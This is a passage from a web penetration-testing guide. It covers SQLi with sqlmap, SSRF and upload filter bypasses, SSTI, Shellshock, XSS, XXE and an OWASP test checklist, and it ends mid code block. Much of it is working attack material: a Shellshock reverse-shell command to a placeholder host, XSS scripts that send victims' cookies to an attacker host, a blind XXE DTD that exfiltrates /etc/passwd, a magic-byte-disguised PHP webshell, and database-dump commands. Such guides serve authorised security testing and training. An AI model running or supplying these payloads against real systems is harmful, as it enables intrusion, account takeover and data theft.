sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 -D db --tables
```

4\. Get the content of that table.

```bash
sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 -D db -T users --dump
```

**Note**: Normally, SQLMap uses time-based techniques, but it can be specified to use union-based techniques with the following parameter `--technique=U`.

**Note1**: To perform posts SQLi attacks through SSL you will need to execute `force-ssl`

## References

* [SQL Injection (OWASP)](https://owasp.org/www-community/attacks/SQL_Injection)
* [SQL Injection (PayloadAllTheThings)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
* [Union Based Oracle Injection](http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html)
* [Exploiting Error Based SQL Injections & Bypassing Restrictions](https://infosecwriteups.com/exploiting-error-based-sql-injections-bypassing-restrictions-ed099623cd94)
* [MSSQL Practical Injection Cheat Sheet](https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/)
* [Cheat Sheet (Port Swigger)](https://portswigger.net/web-security/sql-injection/cheat-sheet)


# SSRF

## Introduction

Server-Side Request Forgery (SSRF), is a vulnerability that allows an attacker to induce the server-side of the application to make requests to arbitrary locations, leading to unauthorized access to internal services or files within the application or even external functions of other services.

Examples of this vulnerability are:

* `/media.php?query=../../v1/settings`
* `?link=http://example.com/`
* `stockApi=http://localhost/admin`

However, this vulnerability is not limited to HTTP protocol, you can perform requests to different protocols such as `file://`, `phar://`, `gopher://`, `data://`, `dict://`, etc.

Finally, this vulnerability is hard to find in the wild and requires manual analysis to find a valid input. So there is no special trick to finding them.

## Filter bypass

Commonly, most applications with SSRF behaviour are built with defences trying to prevent malicious exploitation. In order to bypass these defences, there are several approaches.

### Black List bypass

Some applications might block input containing hostnames like `127.0.0.1` or `localhost`, which can be circumvented using the following techniques:

* Alternative representation of `127.0.0.1`: 2130706433, 017700000001, 127.1
* Registering a domain/subdomain that resolves into 127.0.0.1.
* Obfuscate the blocked string using URL encoding or case variation.

### White List bypass

In this case, the application only allows input that contains, begins or ends with a certain string. In this case, you can circumvent the filter with the following techniques:

* `https://<EXPECTED_VALUE>@<EVIL_DOMAIN>/`
* `https://<EVIL_DOMAIN>#<EXPECTED_VALUE>/`
* `https://<EXPECTED_VALUE>.<EVIL_DOMAIN>/`
* URL encoding.
* Combinations of all of the above.

## References

* [Testing for Server-Side Request Forgery](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery)
* [Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf)


# SSTI

## Introduction

Server-side template injection (SSTI) is a web vulnerability that occurs when a server-side template engine uses user-supplied data to generate dynamic HTML content without proper validation or escaping. This can allow an attacker to inject malicious code into a template, which is then executed server-side.

In cases where remote code execution is impossible, an attacker can still use server-side template injection as the basis for other attacks, like reading sensitive data or performing XSS attacks.

## Identify SSTI vulnerability

The first step in testing SSTI is to construct common template expressions used by different template engines as payloads and monitor the server's response to identify which template expression was executed by the server. This polyglot payload will trigger an error in the presence of an SSTI vulnerability `${{<%[%'"}}%\`.

You can try the [template-engines-expression.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/template-engines-expression.txt) wordlist and these ones:

```bash
a{{bar}}b
a{{7*7}}
{var} 
${var} 
{{var}} 
<%var%> 
[% var %]
```

### Identify its context

The injection can occur in two distinct contexts, which must be identified to exploit this vulnerability.

#### Plaintext context

In most template languages, you can insert content into a template either by using HTML tags directly or by using the template's own syntax, which will be converted to HTML on the back-end before the HTTP response is sent to the user. For example, in Freemarker, the line `render('Hello There! ' + username)` would be converted to something like `Hello Carlos` in the HTML that is sent to the user's web browser.

**Note**: This feature can sometimes be exploited for cross-site scripting (XSS) attacks and **is often mistaken for a simple XSS vulnerability**. However, by attempting to set mathematical operations as the value of a parameter, it is possible to test whether a given input is also a potential entry point for a server-side template injection attack.

#### Code context

In this context, the user input is placed within a template expression-like `engine.render("Hello {{"+username+"}}", data)`.

One way to test for the presence of a server-side template injection vulnerability is first to try injecting arbitrary HTML tags such as `<img>` or `<tag>` into the value of a parameter, in order to determine whether the input is vulnerable to a direct cross-site scripting (XSS) attack. If the HTML is not properly escaped or sanitized, it may be possible to exploit the vulnerability to inject malicious code into the generated output. This can help to confirm whether the parameter is a potential entry point for a template injection attack.

If the attempt to perform an XSS attack did not work. The next step is to try to break out of the template syntax and inject additional HTML using common templating syntax. For example, an attacker might try to inject a `<script>` tag or other malicious code after the template statement. If the template engine allows this injection, it may be vulnerable to template injection attacks.

Finally, if that leads to an error or blank output, it might be you are using the wrong syntax for the engine language that is executing the web application. However, if the output is rendered correctly, along with the arbitrary HTML, that is a key indication that the vulnerability exists.

### Identify the Templating Engine

To identify the template engine, the simplest method is submitting invalid syntax, hoping that the error message will tell you exactly what the template engine is.

Another alternative is to manually test [different language-specific payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) and study how they are interpreted by the engine. To do so, you can use this decision tree made by [James Kettle](https://portswigger.net/research/james-kettle).

![Template decision tree](/files/HJiPEuT5PIPiKlufKGAD)

## Exploit

Then, once discovered the templating engine, you can try to retrieve special variables of the template engine with the [template-engines-special-vars](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/template-engines-special-vars.txt) wordlist or perform code execution using these [payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection).

## References

* [SSTI PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)
* [Server-Side Template Injection](https://portswigger.net/web-security/server-side-template-injection)
* [Testing for Server-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection)


# Shellshock

## Introduction

ShellShock or (CVE-2014-7169 & CVE-2014-6271) allows arbitrary code execution after creating an environment variable in **Bash**. However, the problem resides in that some web servers, such as apache, support Common Gateway Interface (CGI). This feature allows CGI applications to perform Operating System operations by interacting with the command line interface like SH or Bash.

Furthermore, the value of `USER-AGENT` in an HTTP request is an input field that is commonly used in CGI applications to define variables. Manipulating the value of the `USER-AGENT` variable, it is possible to obtain remote code execution.

## Exploitation

### Check if it works

The script executes a command that prints a random string and then attempts to find it inside the response body.

```
nmap <TARGET> -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

Should return the user who is executing the webserver.

```
curl -H 'User-Agent: () { :; }; /bin/bash -c whoami' http://<TARGET_IP>/cgi-bin/<app>.cgi
```

### Reverse shell

```
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<A_IP>/443 0>&1' http://<TARGET_IP>/cgi-bin/admin.cgi
```

Alternative exploit: [Link](https://www.exploit-db.com/exploits/34900)

## References

* [ShellShock puede afectar a tu web, tu Linux, tu Mac OS X, tu router, tu punto de acceso WiFi o tu switch](https://www.elladodelmal.com/2014/09/shellshock-puede-afectar-tu-web-tu.html)
* [The ShellShock Attack](https://www.exploit-db.com/docs/48112)
* [Exploiting CGI Scripts with Shellshock](https://antonyt.com/blog/2020-03-27/exploiting-cgi-scripts-with-shellshock)


# Unrestricted File Upload

## Introduction

Unrestricted File upload consists of uploading unintentional files to the web application. This occurs due to insufficient or improper file-type validation controls before uploading the files. Thus, a malicious actor may be able to craft a malicious file or request to bypass the application file validators, uploading the file.

Finally, if the attacker has access to the uploaded malicious file, usually stored on `uploads` or `assets`, it could gain Remote Command Execution on the system.

## File Overwrite

Existing original web application files and uploaded files can be found under the same directory. Therefore, a malicious user could overwrite the former files changing the application functions.

## File type filtering

There are different ways to validate the type of file.

### Name extension filtering

In practice, the extension of a file is quite easy to change. However, Microsoft Windows still relies on extensions to identify files. Such filters are pretty simple; they use a **blacklist** of not allowed extensions or a whitelist of allowed extensions.

To bypass this filter, an attacker should enumerate all file extensions allowed by the web application.

### **M**ultipurpose **I**nternet **M**ail **E**xtension (MIME) validation filtering

The MIME type is attached in the request header `Content-Type` when uploading a file. An attacker could modify the header with the `image/png` value making the application believe the uploaded file is a png.

```http
POST /?submit=success HTTP/1.1
Host: shell.uploadvulns.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1

-----------------------------73964126537709154571754089304
Content-Disposition: form-data; name="fileToUpload"; filename="php-reverse-shell.php"
Content-Type: application/x-php

<?php
// Usage
// -----
```

### Magic Numbers filtering

Checking the **Magic Numbers** is the most accurate way to check the contents of files. In this image, the magic bytes are `8950 4e47 0d0a`.

```bash
xxd index.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
```

However, an attacker could manually change the magical bytes tricking the server it is an image.

```bash
xxd /tmp/webshell.php 
00000000: 8950 4e47 0d0a 1a0a 0000 3c3f 7068 7020  .PNG......<?php 
00000010: 7379 7374 656d 2829 3b20 3f3e 0a         system(); ?>.
```

### Length filtering

File length filtering avoids huge files being uploaded to the server. This could prevent attackers from uploading files like reverse shells due to their size.

## Methodology

In order to be able to upload files unexpected by the developer, the following steps can be followed:

1. Using tools such as Wappalizer, you can get indicators of which languages or frameworks are used.
2. Find the file upload directory.
3. Upload a legitimate file, paying attention to the parameters used and whether you can access it.
4. Search for code (usually JavaScript) on the client-side, used to check the files to be uploaded.
5. Upload a file bypassing the client-side filters. This can be done by removing the javascript code from the server response.

It is expected to get an error produced by the server-side filter. The error message may help determine the next steps.

* If you can successfully upload a file with a random invalid extension (e.g. `shell.fake`), the server will most likely use a blacklist filter. If this upload fails, the server may use a whitelist filter or other type of filter.
* Try re-uploading a file expected by the application, but change the file's magic number. If the upload fails, you will know that the server uses a filter based on a magic number.
* Upload another file expected by the application, but intercept the request with Burpsuite and change the MIME type, different from the one expected. If the upload fails, you will know that the server is filtering based on the MIME.
* Analizar los filtros de longitud de los archivos se puede realizar a través de subir un archivo pequeño, y luego subir archivos progresivamente más grandes hasta que salte el filtro. Puede darse el caso de que el mensaje de error directamente cuál es el límite de tamaño.

## References

* [Upload vulnerabilities (TryHackMe)](https://tryhackme.com/room/uploadvulns)
* [File upload (HackTricks)](https://book.hacktricks.xyz/pentesting-web/file-upload)
* [File Upload (PortSwigger)](https://portswigger.net/web-security/file-upload)


# XSS

## Introduction

Cross-site scripting attacks are code injection attacks in which attackers inject malicious code, usually client-side scripts (such as JavaScript), into trusted websites. Thus, the browser's victim runs the attacker's code leading to account impersonation, loading external content, stealing sensitive data...

There are three main types of XSS attacks:

* **Stored XSS**: The injected script is stored on the website's database when a web application gathers input data from a user without any prior sanitisation or filtering. Then, the malicious script will appear to any user who visits the web page.
* **Reflected XSS**: The injected script is embedded into an HTTP request and then the application includes that data within the immediate response without any prior sanitisation or filtering.
* **DOM-based XSS**: The injected script is obtained from a client-side script that reads data from a controllable part of the DOM, without any prior sanitisation or filtering, sending it into a sink (a function that processes the argument that is passed to it as JavaScript) that supports dynamic code execution, such as eval() or innerHTML. This enables attackers to execute malicious JavaScript, which typically allows them to hijack other users' accounts.

## DOM-based XSS

In order to find a DOM-based vulnerability, it is necessary to find if the web application contains sources from where user input data is obtained. A list of typical sources are the following:

```javascript
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
scrollIntoView()
location.hash
```

Then, also look if sinks exist. Here you also have a list of sinks:

```javascript
# DOM-XSS
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent

# DOM-XSS (JQUERY)
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

# Open-redirect vulnerabilities
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
```

After that, for each source, send random strings analysing in which sink the data input is sent and where is shown on the application.

Finally, for each location where your string appears within the DOM, identify its context in order to refine your input to obtain your XSS.

### Tools

Because it is too tedious looking this vulnerability manually, there are several tools that can make this task easier for you:

* Burp Suite active scan.
* Burp Suite built-in [DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader).
* `cat <URLs.txt> | nuclei -tags xss`

## Breaking out of a JavaScript string

In cases where the XSS context is inside a quoted string literal, it is often possible to break out of the string and execute JavaScript directly.

**Note**: It is essential to repair the script following the XSS context because any syntax errors will prevent the whole script from executing.

Some useful ways of breaking out of a string literal are:

```javascript
'-alert(document.domain)-' ';alert(document.domain)//
```

## Stealing cookies

In this section, you will find some JavaScript code snippets which allow you to retrieve the victim's cookies in order to impersonate its account.

```html
<script>new Image().src='http://<ATTACKER_IP>/'+document.cookie</script>

<script>document.write('<img src="http://<ATTACKER_IP>/'+document.cookie+'"/>')</script>

<script>document.location='http://<ATTACKER_IP>/'+document.cookie</script>

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
```

## References

* [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
* [XSS without parentheses and semi-colons](https://portswigger.net/research/xss-without-parentheses-and-semi-colons)
* [Cross-site scripting contexts](https://portswigger.net/web-security/cross-site-scripting/contexts)
* [XSS PaylloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)


# XXE

## Introduction

The XML External Entity (XXE) Processing attack is a type of attack that allows an attacker to interfere with an application's processing of XML data. This XML data contains a reference to an external entity (A system file or external URL) that is processed by the XML parser, leading to information disclosure, server-side request forgery and port scanning.

## Proof of Concept

The following examples retrieve the file `/etc/passwd` from the victim system and show its content inside the "name" attribute.

```xml
<!-- EXAMPLE 1 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
   <!ELEMENT data ANY >
   <!ENTITY output SYSTEM "file:///etc/passwd" >]>
<comment>
  <name>&output;</name>
</comment>

<!-- EXAMPLE 2 -->
<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name><foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo></name>
</comment>
```

Furthermore, it can also be used to perform SSRF attacks:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
   <!ELEMENT data ANY >
   <!ENTITY output SYSTEM "https://localhost/" >]>
<comment>
  <name>&output;</name>
</comment>
```

Finally, if the application allows SVG images to be uploaded. So, since the SVG format uses XML, the image processing library might analyze the image, obtaining a new attack surface.

Once the image is shown to the client, it will contain the retrieved information.

```xml
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
```

## Blind XXE (Data out-of-band)

In a blind XXE attack, the attacker can not see the result of their injection and must rely on indirect methods to gather information or execute their payload.

To perform this attack, first, the attacker must host a malicious Document Type Definition (DTD) on their attacking machine and then invoke the malicious DTD from the DTD that is sent to the victim's website.

This is an example of retrieving the file `/etc/password` from the victim's website.

```xml
<!-- HOSTED MALICIOUS DTD (malicious.dtd) -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://<ATTACKER_DOMAIN>/?x=%file;'>">
%eval;
%exfiltrate;

<!-- SUBMITTED DTD -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://<ATTACKER_DOMAIN>/malicious.dtd"> %xxe;]>
```

## Blind XXE (Error message)

Another alternative to retrieve data using an XXE vulnerability is by triggering an XML parsing error, only will work if the application shows the resulting error message within the response, where the error message will contain the sensitive data that you want to retrieve.

The payload would be:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

## References

* [A Deep Dive into XXE Injection](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/)
* [XML External Entity (XXE) Processing (OWASP)](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_\(XXE\)_Processing)
* [XML external entity (XXE) injection](https://portswigger.net/web-security/xxe)


# Web (OWASP  Test cases)

This section details the suggested tests for evaluating a web application, following the OWASP guidelines.

The tests are the following:

* [4.1 Information Gathering](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.1-information-gathering)
* [4.2 Configuration and Deployment Management Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.2-configuration-and-deployment-management-testing)
* [4.3 Identity Management Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.3-identity-management-testing)
* [4.4 Authentication Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.4-authentication-testing)
* [4.5 Authorization Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.5-authorization-testing)
* [4.6 Session Management Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.6-session-management-testing)
* [4.7 Input Validation Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.7-input-validation-testing)
* [4.8 Testing for Error Handling](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.8-testing-for-error-handling)
* [4.9 Testing for Weak Cryptography](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.9-testing-for-weak-cryptography)
* [4.10 Business Logic Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.10-business-logic-testing)
* [4.11 Client-side Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.11-client-side-testing)
* [4.12 API Testing](https://the-pentesting-guide.marmeus.com/web-owasp-test-cases/4.12-api-testing)


# 4.1 Information Gathering

## [Information Gathering](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/README)

## 4.1.1 [Conduct Search Engine Discovery Reconnaissance for Information Leakage](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage)

```bash
site:<DOMAIN>
cache:<URL>
site: <DOMAIN> (filetype:pdf OR filetype:doc OR filetype:docx OR filetype:xlsx)
theHarvester -b all -d <DOMAIN>
```

**Evidence**:

```
​
```

## 4.1.2 [Fingerprint Web Server](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server)

* [ ] Wappalyzer: Server results
* [ ] Look for `Server` headers in the response
* [ ] `sudo nmap -sS -p- -sV -sC -O <DOMAIN> -oN Documents/Audits/nmap.txt`
* [ ] `whatweb <URL>`
* [ ] HTTPX

```bash
httpx -u <URL> -silent -title -follow-redirects -status-code -server -ip -content-length -tech-detect -asn -cdn -threads 100
```

* [ ] Check if the server is running on Azure, Google or AWS infrastructure: `dig <DOOMAIN>`

**Evidence**:

```
​
```

## 4.1.3 [Review Webserver Metafiles for Information Leakage](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage)

* [ ] **Metadata files** (robots.txt,sitemaps.xml,security.txt,humans.txt,.well-known)

```bash
echo -ne 'robots.txt\nsitemaps.xml\nsecurity.txt\nhumans.txt\n.well-known\n.git' | xargs -I {} bash -c 'echo -n "{}: ";curl -k -sq -D - "https://<DOMAIN>/{}" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36" | head -n 1'
```

* Wordpress Meta Data files

```bash
# Contiene información como la versión de Wordpress instalada.
/license.txt
/readme.html
​
#  Se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.
/wp-activate.php
# Permite a un usuario crearse una cuenta.
/wp-signup.php 
​
/wp-admin/maint/repair.php
/wp-admin/maint/install.php
/wp-admin/upgrade.php
/wp-links-opml.php
/wp-content
​
# El directorio principal donde se almacenan los plugins y los temas.
/wp-content/uploads/
​
# El directorio donde se almacenan los archivos subidos a la plataforma.
/wp-includes/
​
# Es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
/wp-includes/wlwmanifest.xml
​
# Este endpoint se utiliza para la funcionalidad XML-RPC y puede ser objetivo de ataques de fuerza bruta.
/xml-rpc.php 
# Este endpoint se utiliza para programar cron jobs y puede ser objetivo de ataques de Denegación de Servicio Distribuido (DDoS).
/wp-cron.php
```

* [ ] **Meta tags**

```
# Search for tags on burpsuite
​
# Use the following command
curl -sq <URL> -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36" | grep -i '<meta'
```

**Evidence**:

```
​
```

## 4.1.4 [Enumerate Applications on Webserver](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver)

* [ ] **Non-Standard Ports**

```bash
sudo nmap -sT -p- -sV -sC -O <DOMAIN> -oN Documents/Audits/nmap.txt
```

* [ ] **Different Base URLs**

```bash
ffuf -ac -w <WORDLIST> -of md -o base_URLs.txt -t 60 [-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36"] -u <https://WEBSITE.COM/FUZZ> 
```

* [ ] **Virtual hosts**

```bash
ffuf -ac -w /usr/share/wordlists/TopDomais/subdomains-10000.txt  -of md -o virtual_hosts.md [-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36"]  -u <URL> -H "Host: FUZZ.<DOMAIN>"
```

**Evidence**:

```
​
```

## 4.1.5 [Review Webpage Content for Information Leakage](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage)

* [ ] **metadata files or meta tags** -> Section 4.1.3.
* [ ] **comments:** On BurpSuite `Taget/SiteMap/<TARGET>/Engament Tools/Find Comments`
* [ ] **JS Files**: On BurpSuite `Taget/SiteMap/<TARGET>/Engament Tools/Find Scripts` or output from "JS Miner"
* [ ] Mantra

```bash
# Obtain links from burpsuite: Sitmap
cat /tmp/burplinks.txt | sort -u | uro | mantra | tee mantra.txt
```

* [ ] Check meta data information in files stored on the web application

```bash
exiftool * | grep -Ei 'Title|Subject|Author|Comments|Software|Company|Manager|Hyperlinks|User|device|creator|Application' | sort -u
```

**Evidence**:

```
​
```

## 4.1.6 [Identify Application Entry Points](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points)

* [ ] Requests
  * [ ] Identify where GETs are used and where POSTs are used.
  * [ ] Identify all parameters used in a POST request (these are in the body of the request).
  * [ ] Identify all the parameters used in a GET request..
  * [ ] Also pay attention to any additional or custom type headers not typically seen (such as `debug: false`).
* [ ] Responses
  * [ ] Identify where new cookies are set (`Set-Cookie` header), modified, or added to.
  * [ ] Identify where there are any redirects (3xx HTTP status code), 400 status codes, in particular 403 Forbidden, and 500 internal server errors during normal responses (i.e., unmodified requests).
  * [ ] Also note where any interesting headers are used.
* [ ] Show Sitemap links obtained from the previous sections.

**Evidence**:

```
​
```

## 4.1.7 [Map Execution Paths Through Application](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application)

Map the target application and understand the principal workflows:

* [ ] **Path** - test each of the paths through an application that includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch.
* [ ] **Data Flow (or Taint Analysis)** - tests the assignment of variables via external interaction (normally users). Focuses on mapping the flow, transformation and use of data throughout an application.
* [ ] **Race** - tests multiple concurrent instances of the application manipulating the same data.
* [ ] Sitemap and HTTP History screenshots

**Evidence**:

```
​
```

## 4.1.8 [Fingerprint Web Application Framework](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework)

Fingerprint the components being used by the web applications, more related to client side.

* [ ] Wappalyzer output

**Evidence**:

```
​
```

## 4.1.10 [Map Application Architecture](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)

Discover if the application uses Nginx, apache, PHP, Tomcat, MySQL, Oracle. To do so, enumerate and interact with the application.

**Evidence**:

```
​
```


# 4.2 Configuration and Deployment Management Testing

## [Configuration and Deployment Management Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)

## 4.2.1 [Test Network Infrastructure Configuration](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration)

Once obtained all the services that composes the application such as MySQL, APIs, different domains, etc. then:

* [ ] Review the applications components’ configurations set across the network and validate that they are not vulnerable.
* [ ] Validate that used frameworks and systems are secure and not susceptible to known vulnerabilities due to unmaintained software or default settings and credentials
* [ ] Look for **CVE**s associated to the versions of each web site component.

**Evidence**:

```
​
```

## 4.2.2 [Test Application Platform Configuration](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration)

* [ ] Ensure that defaults and known files have been removed. (Black-box)

```bash
ffuf -ac -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u https://<DOMAIN>/FUZZ -e .bak,.config,.old,.txt,.pdf,cgi -of md -o conf_files.md
```

* [ ] Validate that no debugging code or extensions are left in the production environments. (Gray-Box)
* [ ] Review the logging mechanisms set in place for the application. (Gray-Box)

**Evidence**:

```
​
```

## 4.2.3 [Test File Extensions Handling for Sensitive Information](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information)

* [ ] Dirbust sensitive file extensions, or extensions that might contain raw data (*e.g.* scripts, raw data, credentials, etc.).

```bash
ffuf -ac -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u https://<DOMAIN>/FUZZ -e .asa,.inc,.config,.zip,.tar,.gz,.tgz,.rar,.java,.pdf,.docx,.rtf,.xlsx,.pptx -of md -o conf_files.md
```

* [ ] Validate that no system framework bypasses exist on the rules set.

## 4.2.4 [Review Old Backup and Unreferenced Files for Sensitive Information](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information)

**Check**:

* [ ] Look for back up files extensions:

```bash
ffuf -w <WORDLIST> -e .bak,.backup,.old,.tmp,.swp,.bkp -of md -o backup_files.md -u https://<DOMAIN>/FUZZ 
```

* [ ] Look for common backup file names
* [ ] [backup\_files\_only.txt](https://github.com/xajkep/wordlists/blob/master/discovery/backup_files_only.txt)
* [ ] [backup\_files\_with\_path.txt](https://github.com/xajkep/wordlists/blob/master/discovery/backup_files_with_path.txt)
* [ ] [extensions-compressed.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/extensions-compressed.fuzz.txt)

```bash
ffuf -ac -w /usr/share/wordlists/backup_files_with_path.txt -u https://<DOMAIN>/FUZZ
ffuf -ac -w /usr/share/wordlists/backup_files_only.txt -u https://<DOMAIN>/FUZZ
```

* [ ] Check if directory listing is enabled

**Evidence**:

```
​
```

## 4.2.5 [Enumerate Infrastructure and Application Admin Interfaces](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces)

Identify hidden administrator interfaces, functionality, cookies, etc.

List of default web page:

```bash
# WebSphere
admin
admin-authz.xml
admin.conf
admin.passwd
admin/
admin/logon.jsp
admin/secure/logon.jsp
administration
# PHP
phpinfo
phpmyadmin/
phpMyAdmin/
mysqladmin/
MySQLadmin
MySQLAdmin
login.php
logon.php
xmlrpc.php
dbadmin
# FrontPage
admin.dll
admin.exe
administrators.pwd
author.dll
author.exe
author.log
authors.pwd
cgi-bin
# WebLogic
AdminCaptureRootCA
AdminClients
AdminConnections
AdminEvents
AdminJDBC
AdminLicense
AdminMain
AdminProps
AdminRealm
AdminThreads
# WordPress
wp-admin/
wp-admin/about.php
wp-admin/admin-ajax.php
wp-admin/admin-db.php
wp-admin/admin-footer.php
wp-admin/admin-functions.php
wp-admin/admin-header.php
```

**Evidence**:

```
​
```

## 4.2.6 [Test HTTP Methods](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods)

* [ ] Check which if there are methods allowed

```bash
